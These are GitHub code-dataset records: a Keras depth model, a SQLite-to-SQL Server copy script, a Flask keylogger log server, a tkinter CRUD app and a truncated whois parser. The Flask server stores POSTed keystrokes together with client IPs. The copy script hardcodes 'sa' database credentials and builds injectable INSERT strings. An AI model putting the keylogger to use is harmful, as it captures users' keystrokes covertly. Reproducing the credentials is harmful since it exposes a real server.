loss='mean_absolute_error'\n                )\n    return model\n\n\n''' U-ResNet '''\ndef build_resnet_model(batch_shape,\n                        ch_num,\n                        depth_threshold=0.1,\n                        difference_threshold=0.05,\n                        drop_rate=0.1,\n                        scaling=100):\n    def encode_block(x, ch):\n        def base_block(x):\n            x = BatchNormalization()(x)\n            x = Activation('tanh')(x)\n            x = Dropout(rate=drop_rate)(x)\n            x = Conv2D(ch, (3, 3), padding='same')(x)\n            return x\n        \n        s = Conv2D(ch, (1, 1), padding='same')(x)\n        x = base_block(x)\n        x = base_block(x)\n        x = add([x, s])\n        return x\n    \n    def decode_block(x, c, ch):\n        ch = ch\n        def base_block(x):\n            x = BatchNormalization()(x)\n            x = Activation('tanh')(x)\n            x = Dropout(rate=drop_rate)(x)\n            x = Conv2DTranspose(ch, (3, 3), padding='same')(x)\n            return x\n        \n        x = Conv2DTranspose(ch, (3, 3), padding='same')(x)\n        x = UpSampling2D((2, 2))(x)\n        x = concatenate([x, c])\n\n        s = Conv2D(ch, (1, 1), padding='same')(x)\n        x = base_block(x)\n        x = base_block(x)\n        x = add([x, s])\n        return x\n    \n    input_batch = Input(shape=(*batch_shape, ch_num))\n\n    e0 = AveragePooling2D((2, 2))(input_batch)\n    e0 = UpSampling2D((2, 2))(e0)\n    e0 = Conv2D(8, (1, 1), padding='same')(e0)\n\n    # e0 = Conv2D(8, (1, 1), padding='same')(input_batch)\n    e0 = Activation('tanh')(e0)\n\n    e0 = encode_block(e0, 16)\n\n    e1 = AveragePooling2D((2, 2))(e0)\n    e1 = encode_block(e1, 32)\n\n    e2 = AveragePooling2D((2, 2))(e1)\n    e2 = encode_block(e2, 64)\n\n    e3 = AveragePooling2D((2, 2))(e2)\n    # e3 = encode_block(e2, 128)\n    e3 = encode_block(e3, 128)\n\n    d2 = decode_block(e3, e2, 64)\n    d1 = decode_block(d2, e1, 32)\n    d0 = decode_block(d1, e0, 16)\n\n    d0 = Conv2D(2, (1, 1), padding='same')(d0)\n    output_batch = Activation('tanh')(d0)\n\n    def mean_squared_error_difference_learn(y_true, y_pred):\n        depth_gt = y_true[:, :, :, 0]\n        depth_gap = y_true[:, :, :, 1]\n\n        is_gt_available = depth_gt > depth_threshold\n        is_gap_unavailable = depth_gap < depth_threshold\n\n        is_depth_close = K.all(K.stack([\n            K.abs(depth_gap - depth_gt) < difference_threshold, is_gt_available], axis=0), axis=0)\n\n        # difference learn\n        gt = depth_gt - depth_gap\n\n        # scale\n        gt = gt * scaling\n\n        # complement\n        is_complement = False\n        if is_complement:\n            is_to_interpolate = K.all(K.stack(\n                [is_gt_available, is_gap_unavailable], axis=0),\n                                    axis=0)\n            is_valid = K.any(K.stack([is_to_interpolate, is_depth_close], axis=0),\n                            axis=0)\n            # is_valid = K.cast(is_valid, float)\n            is_valid = K.cast(is_valid, 'float32')\n        else:\n            # is_valid = K.cast(is_depth_close, float)\n            is_valid = K.cast(is_depth_close, 'float32')\n\n        valid_length = K.sum(is_valid)\n        # err = K.sum(K.square(gt - y_pred[:, :, :, 0]) * is_valid)  / valid_length # MSE\n        err = K.sum(K.abs(gt - y_pred[:, :, :, 0]) * is_valid)  / valid_length # MAE\n        return err\n\n    model = Model(input_batch, output_batch)\n    # adam = optimizers.Adam(lr=lr, decay=decay)\n    model.compile(optimizer='adam',\n                  metrics=['accuracy'],\n                #   loss=mean_squared_error_difference_learn\n                #   loss='mean_squared_error'\n                  loss='mean_absolute_error'\n                  )\n    return model\n", "repo_name": "TokiedaKodai/cnn-depth", "sub_path": "network.py", "file_name": "network.py", "file_ext": "py", "file_size_in_byte": 7497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "keras.layers.BatchNormalization", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 40, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.Conv2DTranspose", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.layers.Conv2DTranspose", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.UpSampling2D", "line_number": 58, "usage_type": "call"}, {"api_name": "keras.layers.concatenate", "line_number": 59, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.backend.all", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 98, "usage_type": "name"}, {"api_name": "keras.backend.stack", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.backend.abs", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.backend.cast", "line_number": 100, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 100, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 102, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 103, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 103, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 103, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 108, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 119, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 119, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 140, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 141, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 142, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 143, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 146, "usage_type": "call"}, {"api_name": "keras.layers.add", "line_number": 149, "usage_type": "call"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 155, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 156, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 157, "usage_type": "call"}, {"api_name": "keras.layers.Conv2DTranspose", "line_number": 158, "usage_type": "call"}, {"api_name": "keras.layers.Conv2DTranspose", "line_number": 161, "usage_type": "call"}, {"api_name": "keras.layers.UpSampling2D", "line_number": 162, "usage_type": "call"}, {"api_name": "keras.layers.concatenate", "line_number": 163, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 165, "usage_type": "call"}, {"api_name": "keras.layers.add", "line_number": 168, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 171, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 173, "usage_type": "call"}, {"api_name": "keras.layers.UpSampling2D", "line_number": 174, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 175, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 178, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 182, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 185, "usage_type": "call"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 188, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 196, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 197, "usage_type": "call"}, {"api_name": "keras.backend.all", "line_number": 206, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 206, "usage_type": "name"}, {"api_name": "keras.backend.stack", "line_number": 206, "usage_type": "call"}, {"api_name": "keras.backend.abs", "line_number": 207, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 207, "usage_type": "name"}, {"api_name": "keras.backend.all", "line_number": 218, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 218, "usage_type": "name"}, {"api_name": "keras.backend.stack", "line_number": 218, "usage_type": "call"}, {"api_name": "keras.backend.any", "line_number": 221, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 221, "usage_type": "name"}, {"api_name": "keras.backend.stack", "line_number": 221, "usage_type": "call"}, {"api_name": "keras.backend.cast", "line_number": 224, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 224, "usage_type": "name"}, {"api_name": "keras.backend.cast", "line_number": 227, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 227, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 229, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 229, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 231, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 231, "usage_type": "name"}, {"api_name": "keras.backend.abs", "line_number": 231, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 234, "usage_type": "call"}]}
{"seq_id": "8414668907", "text": "import pyodbc\nimport sys\nimport time\nimport datetime \n#import shutil\n#import codecs\n#import zipfile\n#import logging\n#import logging.config\n#import threading\nimport sqlite3\n#import pdb;pdb.set_trace() # h-help\n#***********************************************************************************************\n#Init start Time\nstartTm=time.time()\n#***********************************************************************************************\n#declare variables\n\n#Remote server\n#str_connect_R='DRIVER={SQL Server};SERVER=10.100.100.61;DATABASE=USTANOVKI;UID=as-test;PWD=test'\nstr_connect_R='DRIVER={SQL Server};SERVER=10.100.100.61;DATABASE=tep_mb;UID=sa;PWD=google3519google'\n\ntagtblname = 'Table1'\t\n\ncurrent_datetime=time.strftime(\"%d/%m/%y\",time.localtime())\n\n#define thread procedure\ndef update_table(tbl_x, db_x):\n\ttry:\n\n    #open remote database\n\t\tconR = pyodbc.connect(str_connect_R)\t\t\n\t\tcurR = conR.cursor()\n\n\t\t#open local database\n\t\tconL = sqlite3.connect(db_x)\n\t\tcurL = conL.cursor()\n\t\n\t\tstr_exec_l=\"select * from %s \" % (tagtblname)\n\t\tcurL.execute(str_exec_l)\n\t\trows=curL.fetchall()\n\t\tcountRows=len(rows)\n\n\t\tcurR.execute('delete from {}'.format(tbl_x))\n\t\tprint ('delete records from 44...')\n\t\tconR.commit()\n\t\tprint ('records deleted...')\n\n\t\ti=0\n\t\t                    \n\t\tfor row in rows:\n\t\t\ti+=1\n\n\t\t\tprint ('[{}]->'.format(i),row[0]) #,type(row[1])\n\t\t\tstr_exec_r=\"insert into {} values{}\".format(tbl_x, row)\n\n\t\t\tcurR.execute(str_exec_r)\n\t\t\tconR.commit()\n\n\t\tprint ('update {}  [{}]rec'.format(tbl_x,countRows))\n\texcept Exception as Er:\n\t\tprint(sys.exc_info()[0], str(Er))\n\tfinally:\n\t\tcurR.close()\n\t\tconR.close()\n\t\tcurL.close()\n\t\tconL.close()\n#**************************************************************************************************\n#main programm\nif __name__ == \"__main__\":\n\ttry:\n\t\tarr_table=['tep_rks6']\n\t\tdbTag = [\n\t\t\tr'D:\\MB_TEP\\TEP_PYTHON\\db\\tep_rks6.db'\n#\t\t\tr'C:\\MB_TEP\\MB_SERA_PYTHON\\db\\mb_sera_pptno.db',\n#\t\t\tr'C:\\MB_TEP\\MB_MDEA_PYTHON\\db\\mb_mdea_pptno.db',\n#\t\t\tr'C:\\MB_TEP\\MB_SOKV_PYTHON\\db\\mb_sokv_pptno.db'\n\t\t\t]\n\n\t\tfor tab, db in zip(arr_table, dbTag):\n\t\t\tupdate_table(tab, db)\n\n\tfinally:\n\t\tprint(time.time()-startTm)", "repo_name": "AlexandrJarovsky/RKS6", "sub_path": "Xcopy_to_66.py", "file_name": "Xcopy_to_66.py", "file_ext": "py", "file_size_in_byte": 2143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.time", "line_number": 15, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 25, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 25, "usage_type": "call"}, {"api_name": "pyodbc.connect", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 36, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 62, "usage_type": "call"}, {"api_name": "time.time", "line_number": 84, "usage_type": "call"}]}
{"seq_id": "29320816378", "text": "from flask import Flask, request, render_template\nfrom flask_restful import Api, Resource\nfrom flask_restful.reqparse import RequestParser\nfrom datetime import datetime\nimport os\n\nHOST_ADDR = os.getenv('LTK_HOST_ADDR') or '0.0.0.0'\nHOST_PORT = int(os.getenv('LTK_HOST_PORT') or 5000)\nLOGFILE = os.getenv('LTK_LOGFILE') or 'client-keylog.txt'\n\napp = Flask(__name__)\napi = Api(app)\n\npost_args = RequestParser()\npost_args.add_argument('key', type=str, help='The key to log.', required=True)\npost_args.add_argument('time', type=float,\n                       help='The timestamp at which the key was pressed.',\n                       required=True)\n\n\ndef log_key(time, ip, key):\n    log = '[{}] - {} - {}'.format(time, ip, key)\n    with open(LOGFILE, 'a') as logfile:\n        logfile.write(log + '\\n')\n\n\nclass KeylogHandler(Resource):\n    def post(self):\n        args = post_args.parse_args()\n        log_key(\n            datetime.fromtimestamp(args['time']).strftime(\n                '%m/%d/%Y %H:%M:%S.%f'),\n            request.environ['REMOTE_ADDR'],\n            args['key'],\n        )\n\n\napi.add_resource(KeylogHandler, '/')\n\n\n@app.route('/')\ndef root():\n    return render_template('index.html')\n\n\n@app.route('/void')\ndef void():\n    return render_template('void.html')\n\n\nif __name__ == '__main__':\n    app.run(HOST_ADDR, HOST_PORT)\n", "repo_name": "Python3-8/logthosekeys", "sub_path": "__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 1331, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 7, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 8, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "flask_restful.Api", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 27, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.request.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "12809733568", "text": "import tkinter as tk\nimport tkinter.messagebox as mb\nimport tkinter.ttk as ttk\nfrom controller.divisions_controller import DivisionsController\nfrom entity.divisions import Division\nfrom docx import Document\nimport openpyxl\n\n\nclass DivisionApp(ttk.Frame):\n\n    def __init__(self):\n        super().__init__()\n        self.div_ctrl = DivisionsController()\n        self.lblTitle = tk.Label(self, text=\"Divisions\",\n                                 font=(\"Helvetica\", 16), bg=\"yellow\",\n                                 fg=\"green\")\n        self.lblName = tk.Label(self, text=\"Enter Name:\",\n                                font=(\"Helvetica\", 10),\n                                bg=\"blue\", fg=\"yellow\")\n        self.lblPersent = tk.Label(self, text=\"Enter persentage per irregular day:\",\n                                   font=(\"Helvetica\", 10), bg=\"blue\",\n                                   fg=\"yellow\")\n        self.lblType = tk.Label(self, text=\"Enter type:\",\n                                font=(\"Helvetica\", 10),\n                                bg=\"blue\", fg=\"yellow\")\n        self.lblSelect = tk.Label(self, text=\"Please select one record below to update or delete\",\n                                  font=(\"Helvetica\", 10),\n                                  bg=\"blue\", fg=\"yellow\")\n        self.lblSearch = tk.Label(self, text=\"Please Enter Roll No:\",\n                                  font=(\"Helvetica\", 10),\n                                  bg=\"blue\", fg=\"yellow\")\n\n        self.entName = tk.Entry(self)\n        self.entPersent = tk.Entry(self)\n        self.entType = tk.Entry(self)\n        self.entSearch = tk.Entry(self)\n\n        self.btn_xlsx = tk.Button(self, text=\"xlsx\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                  command=self.xlsx_export)\n        self.btn_docx = tk.Button(self, text=\"docx\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                  command=self.docx_export)\n        self.btn_register = tk.Button(self, text=\"Register\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                      command=self.register_division)\n        self.btn_update = tk.Button(self, text=\"Update\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                    command=self.update_division)\n        self.btn_delete = tk.Button(self, text=\"Delete\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                    command=self.delete_division)\n        self.btn_clear = tk.Button(self, text=\"Clear\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                   command=self.clear_form)\n        self.btn_show_all = tk.Button(self, text=\"Show All\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                      command=self.load_divisions)\n        self.btn_search = tk.Button(self, text=\"Search\", font=(\"Helvetica\", 11), bg=\"yellow\", fg=\"blue\",\n                                    command=self.show_search_record)\n        self.btn_exit = tk.Button(self, text=\"Exit\", font=(\"Helvetica\", 16), bg=\"yellow\", fg=\"blue\", command=self.exit)\n\n        columns = (\"#1\", \"#2\", \"#3\", \"#4\")\n        self.tvDivision = ttk.Treeview(self, show=\"headings\", height=\"5\", columns=columns)\n        self.tvDivision.heading('#1', text='RollNo', anchor='center')\n        self.tvDivision.column('#1', width=60, anchor='center', stretch=False)\n        self.tvDivision.heading('#2', text='Persentage', anchor='center')\n        self.tvDivision.column('#2', width=10, anchor='center', stretch=True)\n        self.tvDivision.heading('#3', text='Type', anchor='center')\n        self.tvDivision.column('#3', width=10, anchor='center', stretch=True)\n        self.tvDivision.heading('#4', text='Name', anchor='center')\n        self.tvDivision.column('#4', width=10, anchor='center', stretch=False)\n\n        vsb = ttk.Scrollbar(self, orient=tk.VERTICAL, command=self.tvDivision.yview)\n        vsb.place(x=40 + 640 + 1, y=310, height=180 + 20)\n        self.tvDivision.configure(yscroll=vsb.set)\n        hsb = ttk.Scrollbar(self, orient=tk.HORIZONTAL, command=self.tvDivision.xview)\n        hsb.place(x=40, y=310 + 200 + 1, width=620 + 20)\n        self.tvDivision.configure(xscroll=hsb.set)\n        self.tvDivision.bind(\"<>\", self.show_selected_record)\n\n        self.lblTitle.place(x=280, y=30, height=27, width=300)\n        self.lblName.place(x=175, y=70, height=23, width=100)\n        self.lblPersent.place(x=20, y=100, height=23, width=250)\n        self.lblType.place(x=171, y=129, height=23, width=104)\n        self.lblSelect.place(x=150, y=280, height=23, width=400)\n        self.lblSearch.place(x=174, y=560, height=23, width=134)\n        self.entName.place(x=277, y=72, height=21, width=186)\n        self.entPersent.place(x=277, y=100, height=21, width=186)\n        self.entType.place(x=277, y=129, height=21, width=186)\n        self.entSearch.place(x=310, y=560, height=21, width=186)\n        self.btn_xlsx.place(x=130, y=245, height=25, width=76)\n        self.btn_docx.place(x=210, y=245, height=25, width=76)\n        self.btn_register.place(x=290, y=245, height=25, width=76)\n        self.btn_update.place(x=370, y=245, height=25, width=76)\n        self.btn_delete.place(x=460, y=245, height=25, width=76)\n        self.btn_clear.place(x=548, y=245, height=25, width=76)\n        self.btn_show_all.place(x=630, y=245, height=25, width=76)\n        self.btn_search.place(x=498, y=558, height=26, width=60)\n        self.btn_exit.place(x=320, y=610, height=31, width=60)\n        self.tvDivision.place(x=40, y=310, height=200, width=640)\n        self.load_divisions()\n\n    def clear_form(self):\n        self.entName.delete(0, tk.END)\n        self.entPersent.delete(0, tk.END)\n        self.entType.delete(0, tk.END)\n\n    def exit(self):\n        MsgBox = mb.askquestion('Exit Application',\n                                'Are you sure you want to exit the application',\n                                icon='warning')\n        if MsgBox == 'yes':\n            self.destroy()\n\n    def delete_division(self):\n        MsgBox = mb.askquestion('Delete Record', 'Are you sure! you want to delete selected record',\n                                icon='warning')\n\n        if MsgBox == 'yes':\n            self.div_ctrl.delete(roll_no)\n            mb.showinfo(\"Information\", \"Record Deleted Succssfully\")\n            self.load_divisions()\n            self.clear_form()\n\n    def register_division(self):\n\n        name = self.entName.get()  # Retrieving entered first name\n        pers = self.entPersent.get()  # Retrieving entered last name\n        type = self.entType.get()  # Retrieving entered contact number\n\n        # validating Entry Widgets\n        if name == \"\":\n            mb.showinfo('Information', \"Please Enter name\")\n            self.entName.focus_set()\n            return\n        if pers == \"\":\n            mb.showinfo('Information', \"Please Enter persent\")\n            self.entPersent.focus_set()\n            return\n        if type == \"\":\n            mb.showinfo('Information', \"Please Enter type\")\n            self.entType.focus_set()\n            return\n        # Inserting record\n        try:\n            self.div_ctrl.create(Division(name, pers, type))\n            self.load_divisions()\n        except Exception as err:\n            print(err)\n\n    def show_search_record(self):\n        s_roll_no = self.entSearch.get()  # Retrieving entered first name\n        print(s_roll_no)\n        if s_roll_no == \"\":\n            mb.showinfo('Information', \"Please Enter Roll\")\n            self.entSearch.focus_set()\n            return\n\n        self.tvDivision.delete(*self.tvDivision.get_children())\n        division = self.div_ctrl.get_by_id(s_roll_no)\n        self.tvDivision.insert(\"\", 'end', text=\"Division\",\n                               values=(division.id, division.name, division.persentage_one, division.type))\n\n    def show_selected_record(self, event):\n        self.clear_form()\n        for selection in self.tvDivision.selection():\n            item = self.tvDivision.item(selection)\n        global roll_no\n        roll_no, name, pers, type = item[\"values\"][0:4]\n        self.entName.insert(0, name)\n        self.entPersent.insert(0, pers)\n        self.entType.insert(0, type)\n        return roll_no\n\n    def update_division(self):\n        name = self.entName.get()\n        pers = self.entPersent.get()\n        type = self.entType.get()\n        print(roll_no)\n        self.div_ctrl.update(roll_no, Division(name, pers, type))\n        mb.showinfo(\"Info\", \"Selected  Record Updated Successfully \")\n        self.load_divisions()\n\n    def load_divisions(self):\n        self.tvDivision.delete(*self.tvDivision.get_children())\n        divisions = self.div_ctrl.all_divisions()\n        for div in divisions:\n            self.tvDivision.insert(\"\", 'end', text=\"Divisions\",\n                                   values=(div.id, div.persentage_one, div.type, div.name))\n\n    def xlsx_export(self):\n        wb = openpyxl.load_workbook('C:\\\\Users\\\\karina\\\\PycharmProjects\\\\staffing\\\\reports\\\\All.xlsx')\n        if 'Divisions' not in wb.sheetnames:\n            wb.create_sheet('Divisions')\n        ws = wb.get_sheet_by_name('Divisions')\n        ws.delete_cols(1, 4)\n        ws.delete_rows(1, 100)\n        i = 1\n        ws.cell(row=i, column=1).value = \"ID\"\n        ws.cell(row=i, column=2).value = \"Persent1\"\n        ws.cell(row=i, column=3).value = \"Type\"\n        ws.cell(row=i, column=4).value = \"Name\"\n        divisions = self.div_ctrl.all_divisions()\n        for div in divisions:\n            ws.cell(row=i + 1, column=1).value = div.id\n            ws.cell(row=i + 1, column=2).value = div.persentage_one\n            ws.cell(row=i + 1, column=3).value = div.type\n            ws.cell(row=i + 1, column=4).value = div.name\n            i += 1\n        wb.save('C:\\\\Users\\\\karina\\\\PycharmProjects\\\\staffing\\\\reports\\\\All.xlsx')\n        print(\"xlsx successful\")\n\n    def docx_export(self):\n        document = Document()\n        document.add_heading(\"Divisions\", 0)\n        table = document.add_table(rows=1, cols=4)\n        hdr_cells = table.rows[0].cells\n        hdr_cells[0].text = 'ID'\n        hdr_cells[1].text = 'Name'\n        hdr_cells[2].text = 'Persentage per irregular day'\n        hdr_cells[3].text = 'Type'\n        divisions = self.div_ctrl.all_divisions()\n        for div in divisions:\n            row_cells = table.add_row().cells\n            row_cells[0].text = str(div.id)\n            row_cells[1].text = div.name\n            row_cells[2].text = str(div.persentage_one)\n            row_cells[3].text = div.type\n        document.save('C:\\\\Users\\\\karina\\\\PycharmProjects\\\\staffing\\\\reports\\\\Divisions.docx')\n        print(\"docx successful\")\n", "repo_name": "KarynaOhol/Staffing_Table", "sub_path": "view/tkinter/division_tk.py", "file_name": "division_tk.py", "file_ext": "py", "file_size_in_byte": 10693, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tkinter.ttk.Frame", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tkinter.ttk", "line_number": 10, "usage_type": "name"}, {"api_name": "controller.divisions_controller.DivisionsController", "line_number": 14, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 18, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 21, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 24, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 27, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 30, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 35, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 37, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 39, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 41, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 43, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 45, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 49, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 51, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 53, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 55, "usage_type": "call"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 58, "usage_type": "name"}, {"api_name": "tkinter.ttk.Scrollbar", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 68, "usage_type": "name"}, {"api_name": "tkinter.VERTICAL", "line_number": 68, "usage_type": "attribute"}, {"api_name": "tkinter.ttk.Scrollbar", "line_number": 71, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 71, "usage_type": "name"}, {"api_name": "tkinter.HORIZONTAL", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tkinter.END", "line_number": 99, "usage_type": "attribute"}, {"api_name": "tkinter.END", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tkinter.END", "line_number": 101, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.askquestion", "line_number": 104, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 104, "usage_type": "name"}, {"api_name": "tkinter.messagebox.askquestion", "line_number": 111, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 111, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 116, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 116, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 128, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 128, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 132, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 132, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 136, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 136, "usage_type": "name"}, {"api_name": "entity.divisions.Division", "line_number": 141, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 150, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 150, "usage_type": "name"}, {"api_name": "entity.divisions.Division", "line_number": 175, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 176, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 176, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 187, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 209, "usage_type": "call"}]}
{"seq_id": "26130487050", "text": "#!/usr/bin/env python\n\"\"\"\nParser for saudinic whois data formats\n\"\"\"\n\nimport re\nfrom datetime import datetime\nfrom seine.whois.formats import WhoisDataParser, WhoisError\n\nFIELD_MAP = {\n    'Domain Name':      'domainname',\n    'descr':            'owner',\n    'address':          'address',\n    'phone':            'telephone',\n    'status':           'status',\n    'nserver':          'nameservers',\n    'created':          'created',\n    'modified':         'updated',\n    'expires':          'expires',\n    'dnssec':           'dnssec',\n}\n\nRE_NS_LIST = re.compile('(?P.*) \\((?P.*)\\)$')\n\nDATE_FIELDS = ( 'updated', 'created', 'expires', )\nDATE_PARSER = lambda value: datetime.strptime(value, '%d.%m.%Y').date()\n\n\nclass saudinic(WhoisDataParser):\n    tlds = ( 'sa', )\n\n    def parse(self, domain, data):\n        \"\"\"Parse data\n\n        Parse SaudiNIC whois data\n\n        \"\"\"\n        def next_section(name, section, value):\n            if section is not None and value is not None:\n                self.set(section, value)\n            return (name,None)\n\n        def push_value(value, new_value):\n            if value is None:\n                value = new_value\n            else:\n                if type(value) != list:\n                    value = [value]\n                value.append(new_value)\n            return value\n\n        data = WhoisDataParser.parse(self, domain, data)\n\n        section = None\n        value = None\n        for l in [l.strip() for l in data]:\n            if l.startswith('% ') or l 